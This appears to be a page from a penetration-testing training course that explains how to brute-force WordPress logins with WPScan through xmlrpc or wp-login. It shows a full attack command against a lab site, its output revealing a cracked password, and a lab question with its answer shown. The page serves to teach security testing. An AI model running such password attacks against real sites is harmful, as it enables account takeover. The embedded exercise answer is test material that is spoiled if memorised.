

Attacking WordPress Users

WordPress User Bruteforce

WPScan can be used to brute force usernames and passwords. The scan report returned three users registered on the website: **admin**, **roger**, and **david**. The tool uses two kinds of login brute force attacks, **xmlrpc** and **wp-login**. The **wp-login** method will attempt to brute force the normal WordPress login page, while the **xmlrpc** method uses the WordPress API to make login attempts through **/xmlrpc.php**. The **xmlrpc** method is preferred as it is faster.

WPScan - XMLRPC

```
Attacking WordPress Users

MisaetMacias@htb[/htb]$ wpscan --password-attack xmlrpc -t 20 -U admin, david -P passwords.txt --url http://blog.inlan

[+] URL: http://blog.inlanefreight.com/
[+] Started: Thu Apr 9 13:37:36 2020
[+] Performing password attack on Xmlrpc against 3 user/s

[SUCCESS] - admin / sunshine1
Trying david / Spring2016 Time: 00:00:01 <=====> (474 / 474) 100.00% Time: 00:00:01

[!] Valid Combinations Found:
| Username: admin, Password: sunshine1
```

Connect to Pwnbox
Your own web-based Parrot Linux Instance to play our labs.

Pwnbox Location

UK

13ms

Terminate Pwnbox to switch location

Start Instance

00 / 1 spawns left

Waiting to start...

☒ Enable step-by-step solutions for all questions

Questions

Answer the question(s) below to complete this Section and earn cubes!



Cheat Sheet

Target(s): [Click here to spawn the target system!](#)

+1 Perform a bruteforce attack against the user "roger" on your target with the wordlist "rockyou.txt". Submit the user's password as the answer.

lizard

Submit

Hint

Previous

Next

Mark Complete & Next

Cheat Sheet

Go to Questions

Table of Contents

Introduction

| | |
|----------------------|---|
| Intro | ✓ |
| WordPress Structure | ✓ |
| WordPress User Roles | ✓ |

Enumeration

| | |
|------------------------------------|---|
| WordPress Core Version Enumeration | ✓ |
| Plugins and Themes Enumeration | ✓ |
| Directory Indexing | ✓ |
| User Enumeration | ✓ |
| Login | ✓ |
| WPScan Overview | ✓ |
| WPScan Enumeration | ✓ |

Exploitation

| | |
|-------------------------------------|---|
| Exploiting a Vulnerable Plugin | ✓ |
| Attacking WordPress Users | ✓ |
| RCE via the Theme Editor | ✓ |
| Attacking WordPress with Metasploit | ✓ |

Security Measures

| | |
|---------------------|---|
| WordPress Hardening | ✓ |
|---------------------|---|

Skills Assessment

| | |
|-------------------------------|---|
| Skills Assessment - WordPress | ✓ |
|-------------------------------|---|

My Workstation

OFFLINE

Start Instance

00 / 1 spawns left